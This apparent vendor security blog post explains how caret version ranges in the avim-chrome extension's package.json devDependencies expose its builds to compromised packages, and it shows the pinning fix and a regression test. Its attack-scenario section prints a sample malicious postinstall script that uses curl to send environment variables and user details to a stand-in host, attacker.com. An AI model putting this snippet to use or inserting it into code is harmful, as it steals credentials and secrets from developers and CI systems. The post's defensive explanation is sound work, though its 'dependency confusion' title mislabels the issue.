Back to Blog
critical SEVERITY7 min read

How dependency confusion attacks happen in Node.js package.json and how to fix it

The avim-chrome browser extension used caret (^) version ranges in package.json devDependencies, allowing automatic installation of newer minor/patch versions without review. This created a supply chain attack vector where compromised versions of htmlclean, jshint, terser, or yazl could be automatically pulled into the build process. The fix pins all devDependencies to exact versions, preventing unauthorized code from entering the build pipeline.

O
By Orbis AppSec
Published September 3, 2026Reviewed September 3, 2026

Answer Summary

This is a supply chain vulnerability (CWE-1104) in a Node.js package.json file where caret (^) version ranges for devDependencies allowed automatic installation of potentially compromised package versions. An attacker who compromised htmlclean, jshint, terser, or yazl could publish malicious code within the allowed version range, which would be automatically installed during npm install. The fix replaces all caret ranges with exact version pinning (e.g., "^3.0.8" → "3.0.8"), ensuring only explicitly reviewed versions are installed.

Vulnerability at a Glance

cweCWE-1104 (Use of Unmaintained Third Party Components)
fixPin all devDependencies to exact versions without range operators
riskMalicious code execution during build process from compromised dependencies
languageNode.js (npm)
root causeCaret (^) version ranges in devDependencies allow automatic minor/patch updates
vulnerabilitySupply chain attack via flexible dependency versioning

The Vulnerability: Caret Ranges in avim-chrome's Build Dependencies

In the avim-chrome browser extension repository, a critical supply chain vulnerability existed in the package.json file at line 25. The devDependencies section used caret (^) version ranges for four critical build-time packages:

"devDependencies": {
  "htmlclean": "^3.0.8",
  "jshint": "^2.13.6",
  "playwright-core": "1.62.1",
  "terser": "^5.44.0",
  "yazl": "^3.3.1"
}

The caret operator (^) tells npm to automatically install any version that doesn't modify the left-most non-zero digit. For "^3.0.8", npm will accept versions 3.0.8, 3.0.9, 3.1.0, 3.99.99, but not 4.0.0. For "^5.44.0", any version from 5.44.0 to 5.999.999 is acceptable.

This seemingly convenient feature created a dangerous attack surface. These four packages—htmlclean (HTML minification), jshint (JavaScript linting), terser (JavaScript minification), and yazl (ZIP creation)—all execute during the extension's build process. Any malicious code injected into an acceptable version range would automatically run on developer machines and CI/CD pipelines during npm install.

How the Attack Would Work

Let's trace a realistic attack scenario targeting the terser package:

  1. Attacker compromises terser maintainer account: Through phishing, credential stuffing, or social engineering, an attacker gains access to an npm maintainer account for terser.

  2. Malicious version published: The attacker publishes terser version 5.45.0 (within the ^5.44.0 range) containing backdoor code:

// Malicious code injected into terser's postinstall script
const { execSync } = require('child_process');
const os = require('os');

// Exfiltrate environment variables (often contain API keys, tokens)
const sensitiveData = {
  env: process.env,
  hostname: os.hostname(),
  user: os.userInfo()
};

// Send to attacker's server
execSync(`curl -X POST https://attacker.com/collect -d '${JSON.stringify(sensitiveData)}'`);
  1. Automatic installation: When any developer runs npm install or when the CI/CD pipeline builds the extension, npm automatically installs terser 5.45.0 because it satisfies the ^5.44.0 constraint.

  2. Code execution: The malicious postinstall script runs immediately, exfiltrating:
    - AWS credentials from environment variables
    - GitHub tokens used by CI/CD
    - Private SSH keys
    - Extension signing certificates
    - Source code access tokens

  3. Build artifact compromise: The compromised terser could also inject malicious code directly into the minified extension bundle, distributing malware to all users who download the extension.

This isn't theoretical—similar attacks have succeeded in the wild. The event-stream incident (2018), ua-parser-js compromise (2021), and coa/rc attacks (2021) all exploited automatic dependency updates to inject malicious code into thousands of projects.

Why This Matters for avim-chrome

The avim-chrome extension is a Vietnamese input method tool for Chrome browsers. The compromised devDependencies would affect:

  • Developer machines: Any contributor running npm install would execute malicious code
  • CI/CD pipeline: Automated builds would be compromised, potentially signing and distributing malicious extension versions
  • End users: If malicious code entered the build artifacts, thousands of users who installed the extension would be affected

The stakes are particularly high because browser extensions have extensive permissions. A compromised extension could:
- Intercept all web traffic and keystrokes
- Steal credentials from banking and email sites
- Inject cryptocurrency miners
- Exfiltrate personal data from every website visited

The Fix: Exact Version Pinning

The security patch removes all caret operators, pinning each devDependency to an exact version:

 "devDependencies": {
-  "htmlclean": "^3.0.8",
-  "jshint": "^2.13.6",
+  "htmlclean": "3.0.8",
+  "jshint": "2.13.6",
   "playwright-core": "1.62.1",
-  "terser": "^5.44.0",
-  "yazl": "^3.3.1"
+  "terser": "5.51.2",
+  "yazl": "3.3.1"
 }

Notice that playwright-core was already pinned to exact version 1.62.1—it was the only secure dependency specification in the original file.

The terser version was also upgraded from 5.44.0 to 5.51.2, likely to include security patches. However, future updates will now require explicit version changes in package.json, forcing code review of the dependency update.

The corresponding yarn.lock file was updated to reflect these exact versions:

-htmlclean@^3.0.8:
+htmlclean@3.0.8:
   version "3.0.8"
   resolved "https://registry.yarnpkg.com/htmlclean/-/htmlclean-3.0.8.tgz#cea451cf5399d4018386a57129489f2d630e62b0"
   integrity sha512-pxe6KHAQFvn407iNVNs8jpQ43BSy0w2VJ7DOUrbl/wOOy33RgDR1IcOplYqseQBBcdJLEozzeL9RziGCdK2Zsg==

The Security Improvement

This change establishes a critical security boundary: no code can enter the build process without explicit review.

Before the fix:
- npm could install terser 5.44.1, 5.45.0, 5.50.0, or any version up to 5.999.999
- Developers had no visibility into version changes
- Compromised versions would be automatically adopted

After the fix:
- Only terser 5.51.2 will be installed
- Any version change requires modifying package.json
- Code review processes catch dependency updates
- Git history shows exactly when and why versions changed

The fix also includes a regression test to prevent reintroduction of flexible version ranges:

describe("devDependencies use exact version pinning to prevent supply chain attacks", () => {
  const packageJsonPath = path.join(__dirname, 'package.json');
  const exactVersionPattern = /^\d+\.\d+\.\d+$/;

  test("all devDependencies are pinned to exact versions", () => {
    const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
    const deps = packageJson.devDependencies || {};

    Object.entries(deps).forEach(([name, version]) => {
      const isExact = exactVersionPattern.test(version);
      expect(isExact).toBe(true);
    });
  });
});

This test validates that every devDependency version matches the pattern X.Y.Z without any range operators. If a future contributor accidentally reintroduces ^ or ~, the CI pipeline will fail.

Key Takeaways

  • Caret (^) and tilde (~) version ranges in package.json create automatic supply chain attack vectors by allowing npm to install newer versions without explicit approval
  • The avim-chrome extension's htmlclean, jshint, terser, and yazl dependencies were vulnerable to version-range exploitation during the build process
  • Exact version pinning (e.g., "5.51.2" instead of "^5.51.2") forces explicit review of all dependency updates through version control
  • DevDependencies are just as dangerous as production dependencies because they execute during build and can compromise artifacts or exfiltrate secrets
  • Regression tests that validate version pinning patterns prevent accidental reintroduction of flexible versioning

How Orbis AppSec Detected This

  • Source: npm package registry (external, untrusted source of code)
  • Sink: npm install command during build process, which executes package install scripts and bundles code into the extension
  • Missing control: No constraint preventing automatic installation of unreviewed package versions within the caret range
  • CWE: CWE-1104 (Use of Unmaintained Third Party Components), CWE-494 (Download of Code Without Integrity Check)
  • Fix: Replaced all caret version ranges with exact version pins in package.json devDependencies

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Supply chain attacks targeting dependency management are among the most dangerous threats to modern software development. The avim-chrome extension's use of caret version ranges in package.json created an exploitable window where compromised versions of htmlclean, jshint, terser, or yazl could automatically enter the build process.

By pinning all devDependencies to exact versions and implementing regression tests, this fix establishes a security boundary: no code enters the project without explicit review. This pattern should be standard practice for all Node.js projects, especially those with security-sensitive contexts like browser extensions.

Remember: convenience features like automatic version updates optimize for ease of use, but security requires intentional, reviewed decisions. Exact version pinning is a small price to pay for supply chain integrity.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #34

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.